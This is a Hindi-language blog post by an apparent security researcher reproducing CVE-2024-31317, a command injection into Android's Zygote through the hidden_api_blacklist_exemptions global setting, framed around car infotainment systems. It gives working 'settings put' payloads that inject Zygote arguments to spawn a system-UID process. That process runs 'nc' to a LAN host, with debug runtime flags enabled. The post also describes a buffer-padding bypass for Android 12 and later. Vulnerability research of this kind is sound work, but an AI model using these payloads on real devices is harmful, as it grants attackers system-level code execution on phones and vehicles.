
CVE-2024-31317
पिछले दो दिनों में, मैंने JD के आधिकारिक खाते (WeChat सार्वजनिक खाते) पर CVE-2024-31317 भेद्यता के विश्लेषण पर एक लेख देखा। पूरा पढ़ने के बाद, मुझे यह काफी दिलचस्प लगा। इसके अलावा, वर्तमान में वाहन इन्फोटेनमेंट सिस्टम (कार मशीन) के मुख्यधारा समाधान एंड्रॉइड सिस्टम पर आधारित हैं और ये सभी इस भेद्यता के सीमित दायरे में आते हैं, इसलिए मैंने इसका पुनरुत्पादन शुरू किया।
चूंकि यह उपयोगकर्ता-स्तर (यूज़रलैंड) का विशेषाधिकार वृद्धि है, इसलिए पहले संबंधित उपयोगकर्ता की अनुमति प्राप्त करनी होगी। इसलिए, वाहन इंटरनेट (IoV) परिदृश्य में कुछ सीमाएँ हैं। वर्तमान मुख्यधारा दृष्टिकोण अज्ञात हस्ताक्षर वाले APK को प्रतिबंधित करना है और सीधे इंजीनियरिंग मोड तथा ADB तक पहुँच प्राप्त करना संभव नहीं है। लेकिन अन्य भेद्यताओं या तकनीकों के साथ मिलकर यह काफी विश्वसनीय है, क्योंकि System कई काम कर सकता है। इसके अलावा, ध्यान दें कि इस भेद्यता के लिए WRITE_SECURE_SETTINGS अनुमति की आवश्यकता है। डिफ़ॉल्ट रूप से, ADB के पास यह अनुमति होती है। इंजीनियरिंग मोड प्राप्त करने के बाद, इसका उपयोग विशेषाधिकार वृद्धि के लिए किया जा सकता है, जो काफी अनुकूल है। यदि ADB का सीधे उपयोग संभव नहीं है, तो इसे प्राप्त करने के लिए अन्य भेद्यताओं के साथ सहयोग करना होगा।
यह भेद्यता कमांड इंजेक्शन की श्रेणी में आती है। समग्र विश्लेषण कठिन नहीं है, लेकिन विश्लेषण से पहले Zygote को समझना आवश्यक है। Zygote एक डेमॉन प्रक्रिया के रूप में चलता है, और यह fork के माध्यम से एप्लिकेशन प्रक्रियाएँ बना सकता है, तथा /dev/socket/zygote पर UNIX सॉकेट कमांड स्वीकार करता है। प्रत्येक कमांड एक दशमलव संख्या से शुरू होता है, जिसके बाद उस संख्या के अनुरूप पैरामीटरों की संख्या होती है।
8 [command #1 arg count]
--runtime-args [arg #1: vestigial, needed for process spawn]
--setuid=10266 [arg #2: process UID]
--setgid=10266 [arg #3: process GID]
--target-sdk-version=31 [args #4-#7: misc app parameters]
--nice-name=com.facebook.orca
--app-data-dir=/data/user/0/com.facebook.orca
--package-name=com.facebook.orca
android.app.ActivityThread [arg #8: Java entry point]
3 [command #2 arg count]
--set-api-denylist-exemptions [arg #1: special argument, don't spawn process]
LClass1;->method1( [args #2, #3: denylist entries]
LClass1;->field1:
diif पथ फ़ाइल से पता चलता है कि संशोधन में नई पंक्ति वर्ण (newline) के साथ टिप्पणी जोड़ना शामिल है। यह परोक्ष रूप से साबित करता है कि पुराने संस्करणों में हम नई पंक्ति के माध्यम से कमांड इंजेक्ट करके एक नई प्रक्रिया शुरू कर सकते हैं।

इस फ़ंक्शन के कॉल को ऊपर की ओर ट्रेस करने पर, यह देखा जा सकता है कि शुरुआत में HIDDEN_API_BLACKLIST_EXEMPTIONS मान पढ़ने से लेकर उसके बाद के सभी स्थानांतरणों तक कोई फ़िल्टरिंग ऑपरेशन नहीं है। अर्थात, हम सीधे कोई भी मनमाना पैरामीटर इंजेक्ट कर सकते हैं।

यह स्वाभाविक रूप से सोचा जा सकता है कि यदि हम HIDDEN_API_BLACKLIST_EXEMPTIONS के मान को नियंत्रित कर सकते हैं, तो हम अपने कस्टम पैरामीटर इंजेक्ट कर सकते हैं। पहले उल्लेख किया गया था कि इस मान को सेट करने के लिए हमें WRITE_SECURE_SETTINGS अनुमति की आवश्यकता है। ADB के पास डिफ़ॉल्ट रूप से यह अनुमति होती है। बस सिस्टम के अंतर्निहित settings कमांड का उपयोग करके settings put global hidden_api_blacklist_exemptions command निष्पादित करें। इस प्रकार, हम निम्नलिखित तरीके से एक नई प्रक्रिया इंजेक्ट करने का प्रयास कर सकते हैं:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
8
--runtime-args
--setuid=1000
--setgid=1000
--nice-name=com.android.settings
--app-data-dir=/data/user/0/com.android.settings
--package-name=com.android.settings
--seinfo=platform:system_app:targetSdkVersion=29:complete
android.app.ActivityThread"
लेकिन ऐसा लगता है कि यह हमारी आवश्यकताओं को पूरा नहीं करता है; हम अभी भी एक कमांड निष्पादित नहीं कर सकते। विश्लेषण से पता चला कि invokeWith पैरामीटर का उपयोग कमांड निष्पादन के लिए किया जा सकता है।

तो अगला कदम बहुत सरल है: हमें बस नीचे दिए गए जैसा एक कमांड बनाना होगा:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
6
--runtime-args
--setuid=1000
--setgid=1000
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"
इस समय यह देखा जाएगा कि यह सफलतापूर्वक ट्रिगर नहीं होता है। logcat देखने पर निम्नलिखित जानकारी वापस आती है, जो संकेत देती है कि डीबग मोड की आवश्यकता है। तो हम इसे डीबग मोड में कैसे ले जाएँ?

कोड की जाँच जारी रखने पर पता चलता है कि स्टार्टअप के दौरान एक runtime-flags पैरामीटर मौजूद है, जिसका उपयोग डीबग गुणों को कॉन्फ़िगर करने के लिए किया जाता है।

कॉन्फ़िगर करने योग्य पैरामीटर इस प्रकार हैं:

इसलिए हमें बस स्टार्टअप के दौरान यह पैरामीटर जोड़ना होगा और सभी डीबग गुणों को सक्षम करना होगा। संशोधित कमांड इस प्रकार है:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
7
--runtime-args
--setuid=1000
--setgid=1000
--runtime-flags=43267
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"
निष्पादन के बाद, nc ने सफलतापूर्वक नेटवर्क अनुरोध कैप्चर किया।

एंड्रॉइड 11 और इससे नीचे के संस्करणों में उपरोक्त विधि का उपयोग सरल शोषण के लिए किया जा सकता है, लेकिन एंड्रॉइड 12 के बाद, Google ने Zygote के Java कमांड पार्सर को बढ़ाने के लिए एक तेज़-पथ C++ कमांड पार्सर लागू किया, और इस कार्य को नई क्लास NativeCommandBuffer के माध्यम से पूरा किया। NativeCommandBuffer सभी कमांड लाइनों को पार्स करने के बाद, बाद की सभी सामग्री को त्याग देता है और सॉकेट से अगला कमांड फिर से पढ़ता है। दूसरे शब्दों में, जब हम कमांड इंजेक्शन के माध्यम से दो कमांड भेजते हैं, तो यह हमारी इंजेक्ट की गई सामग्री को त्याग देगा, जिससे इंजेक्शन नहीं हो पाएगा। इसलिए, यहाँ पहली read() कॉल को बायपास करने के लिए एक विधि की आवश्यकता है। यहाँ मुख्य रूप से मूल लेखक की विधि का संदर्भ लिया गया है: अंत में बड़ी संख्या में अल्पविराम (commas) डालें, ताकि maybeSetApiDenylistExemptions() लिखने के बाद समय अंतराल बढ़ाने के लिए लूप में अधिक समय व्यतीत करे। यहाँ मुख्य तर्क यह है कि maybeSetApiDenylistExemptions() कई बार state.mZygoteOutputWriter.write() को कॉल करता है, लेकिन ये कॉल सीधे सॉकेट पर लिखने के लिए मैप नहीं होती हैं, क्योंकि mZygoteOutputWriter BufferedWriter से विरासत में प्राप्त है, जो अंतर्निहित ट्रांसमिशन पर लिखने से पहले आंतरिक बफ़र में डेटा को एकत्रित करता है। यह तंत्र दो सॉकेट राइट्स को उचित विलंब के साथ भेजने का एक तैयार तरीका प्रदान करता है। BufferedWriter का बफ़र आकार 8192 बाइट्स है, जो Zygote के बफ़र से काफी छोटा है। यहाँ हमें बस इंजेक्ट किए जाने वाले दुर्भावनापूर्ण कमांड को सम्मिलित करने से पहले बफ़र को 8192 बाइट्स तक भरना होगा, ताकि BufferedWriter को पहले यह डेटा लिखने के लिए मजबूर किया जा सके।
यह लेख बहुत पहले ही लिखा जाना चाहिए था, लेकिन मैं व्यस्त था और इसे भूल गया था 😷। इसके अलावा, पिछली प्रतियोगिता (या नेटवर्क सुरक्षा अभ्यास) में इस भेद्यता का उपयोग करके मैंने काफी अंक बटोरे। हाल ही में, एक परीक्षण परियोजना जो मैं कर रहा था, वह एंड्रॉइड कार इन्फोटेनमेंट सिस्टम थी, तो मुझे यह आधा-लिखा ब्लॉग याद आया। मैंने जितना हो सका, इसे जल्दी से नोट कर लिया, इससे पहले कि मैं कुछ भूल जाऊँ। साथ ही, मैं इस भेद्यता को दोबारा तैयार करने में फ़्लैंकर (flanker) महोदय की मदद के लिए बहुत आभारी हूँ, जिन्होंने मुझे कई गड्ढों से बचाया।